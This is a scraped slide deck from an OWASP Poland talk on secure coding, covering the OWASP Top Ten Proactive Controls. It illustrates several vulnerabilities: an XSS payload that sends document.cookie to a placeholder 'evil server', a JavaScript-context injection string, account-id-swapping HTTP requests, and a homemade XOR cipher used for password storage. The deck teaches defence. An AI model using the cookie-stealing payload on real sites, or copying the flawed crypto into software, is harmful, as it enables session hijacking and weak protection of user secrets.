Ten Commandments of Secure Coding
Download as PPTX, PDF2 likes456 views
The document outlines the OWASP Top Ten Proactive Controls for secure coding, emphasizing practices such as input validation, parameterization, and access control to mitigate security vulnerabilities. It highlights the importance of education for developers in application security and provides best practices for each commandment. The summary concludes that while these practices are crucial, each application should have its own risk profile tailored to its specific threats.
![Example (at rest)
âą Storing password
âą âOwnâ SHA1 function
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}](https://image.slidesharecdn.com/tencommandmentsofsecurecoding-150522085323-lva1-app6891/85/Ten-Commandments-of-Secure-Coding-37-320.jpg)
Ten Commandments of Secure Coding
- 1. Ten Commandments of Secure Coding OWASP Top Ten Proactive Controls Mateusz Olejarka OWASP Poland
- 2. Mateusz Olejarka @molejarka âą Senior IT Security Consultant @SecuRing âą Ex-developer âą OWASP Poland since 2011
- 3. OWASP O = Open âą Docs & tools â free â Creative Commons license â open source âą Build with open collaboration in mind â Each one of you can join 3
- 4. OWASP Poland Chapter âą Since 2007 âą Meetings: KrakĂłw, PoznaĆ, Warszawa âą Free entry âą Supporters:
- 5. 4Developers 2014* questionnaire * SecuRingâs study âPraktyki wytwarzania bezpiecznego oprogramowania w polskich firmach â 2014â âą 62% companies do not educate programmers on application security âą >50% companies do not consider security during the design stage âą 73% participants confirmed, that they fixed security related issues âą only 42% confirmed, that they do security testing before production deployment
- 6. OWASP Top10 Risk vs OWASP Top10 Proactive Controls
- 7. Disclaimer âą Do not rely your application security on Top 10 * â It is purely educational material â Each application has its own risk profile
- 8. Thou shalt parametrize queries 1: Parametrize queries
- 9. SQL/LDAP/XML/cmd/âŠ-injection Easily exploitable âą Simple to use tools exist Devastating impact ĆčrĂłdĆo: http://xkcd.com/327/
- 10. Best practices #1 Prepared Statements / Parametrized Queries #2 Stored Procedures â Watch for exeptions! (eval,dynamic block, etc.) #3 Escaping â risky! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
- 11. References âą Bobby Tables: A guide to preventing SQL injection âą Query Parameterization Cheat Sheet âą SQL Injection Prevention Cheat Sheet âą OWASP Secure Coding Practices Quick Reference Guide
- 12. 2: Thou shalt encode data 2: Encode Data
- 13. XSS âą Site defacement âą Session hijacking <script>document.body.innerHTML(âJim was hereâ);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?â + document.cookie; </script>
- 14. Results of missing encoding âą Session hijacking âą Network scanning âą CSRF prevention bypass âą Site defacement (browser) ⹠⊠⹠Browser hijack â vide BeEF
- 16. Cross Site Scripting But when we write output inside pure JavaScript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
- 17. Best practices âą Special character encoding has to be context aware â HTML element â HTML attribute â JavaScript â JSON â CSS / style â URL
- 18. References âą XSS (Cross Site Scripting) Prevention Cheat Sheet âą Java Encoder Project âą Microsoft .NET AntiXSS Library âą OWASP ESAPI âą Encoder Comparison Reference Project
- 19. Thou shalt validate all inputs 3: Validate All Inputs
- 20. Why validate anything? âą Most of other vulnerabilities (np. injections, xss, âŠ) occurs (also) from missing input validation âą Validation it is like firewall â Do not protects you agains everything â âŠbut nice to have
- 21. Best practices âą Prefer whitelist over blacklist approach, âą Use strongly typed fields â One validator per one data type â Easier to integrate a WAF âą Validation = first line of defence â For exaple type casting prevents injection â But not the only one!
- 22. References âą Input Validation Cheat Sheet âą Apache Commons Validator âą OWASP JSON Sanitizer Project âą OWASP Java HTML Sanitizer Project âą Google Caja
- 23. Thou shalt implement appropriate access controls 4: Implement Appropriate Access Controls
- 24. Account history
- 25. HTTP request GET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Account id change â we get other user data
- 26. Best practices âą Server makes a final call! âą Default deny âą All request must go through access controll â centralized, easy to use mechanism âą Access control rules (policy) should be separated from code â Not a part of it
- 27. if (currentUser.hasRole(âadministratorâ)) { //pozwol } else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
- 28. References âą Access Control Cheat Sheet âą Java Authorization Guide with Apache Shiro â Apache Shiro Authorization features âą OWASP PHPRBAC Project
- 29. Thou shalt establish identity and authentication controls 5: Establish Identity and Authentication Controls
- 30. Example vulnerability âą Authentication with locally stored key (on the machine) âą Process: 1. Enter login 2. Select key file,enter key password 3. We are logged in https://...../GenerateNewKey
- 31. Best practices âą Check access control for the functions allowing to change authentication credentials âą âchain of trustâ rule âą Watch for session at the border! âą Do not limit length and characters to use in password
- 32. References âą Authentication Cheat Sheet âą Password Storage Cheat Sheet âą Forgot Password Cheat Sheet âą Session Management Cheat Sheet
- 33. Thou shalt protect data and privacy 6: Protect Data and Privacy
- 34. Example (at transit) âą SSL covers encryption and authentication âą What verifies servers identity? â Web applications: Browser â Mobile / thick-client / embedded⊠application: Application âą Common errors â Missing certificate validation â Brak sprawdzenia certyfikatu lub âĆaĆcucha zaufaniaâ â Missing exception handling
- 35. Best practices (in transit) âą TLS âą For whole application âą Cookies: âSecureâ flag âą HTTP Strict Transport Security âą Strong cipher suites âą Chain of trust âą Certificate pinning
- 36. References (in transit) âą Transport Layer Protection Cheat Sheet âą Pinning Cheat Sheet âą OWASP O-Saft (SSL Audit for Testers)
- 37. Example (at rest) âą Storing password âą âOwnâ SHA1 function public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
- 38. Best practices(at rest) âą Do not reinwent the wheel! â Home-bred ciphers are evil â Own crypto is evil â Only libraries with reputation! âą Strong ciphers in strong modes â ECB is evil â CBC â watch for âpadding oracleâ âą Good RNG for IV
- 39. References âą Google KeyCzar âą Cryptographic Storage Cheat Sheet âą Password Storage Cheat Sheet
- 40. Thou shalt implement logging, error handling and intrusion detection 7: Implement Logging, Error Handling and Intrusion Detection
- 41. References âą Logging Cheat Sheet âą OWASP AppSensor Project
- 42. Thou shalt leverage security features of frameworks and security libraries 8: Leverage Security Features of Frameworks and Security Libraries
- 43. Refenences âą PHP Security Cheat Sheet âą .NET Security Cheat Sheet âą Spring Security âą Apache Shiro âą OWASP Dependency Check / Track
- 44. Thou shalt include security- specific requirements 9: Include Security-Specific Requirements
- 45. Building requirements âą Attack scenatios â How threats can reach the objectives? â Requires experience and expertise âą Selection of security controls == REQUIREMENTS Threat Results Attack scenarios Who? How? What?
- 46. References âą OWASP Application Security Verification Standard Project âą Software Assurance Maturity Model âą Business Logic Security Cheat Sheet âą Testing for business logic (OWASP-BL-001)
- 47. Thou shalt design and architect security in 10: Design and Architect Security In
- 48. References âą Software Assurance Maturity Model (OpenSAMM) âą Application Security Verification Standard Project âą Application Security Architecture Cheat Sheet âą Attack Surface Analysis Cheat Sheet âą Threat Modeling Cheat Sheet
- 49. Summary
- 50. That was just the Top Ten! âą Each application is different â Risk profile should be defined (WHO? WHY?) â Consider âcompliance with existing regulationsâ âą Few easy steps with big positive impact âą Developers education is worth it!
- 51. OWASP meetings âą https://www.owasp.org/index.php/Poland âą Mailing list âą Facebook: OWASP Poland Local Chapter âą Twitter: @owasppoland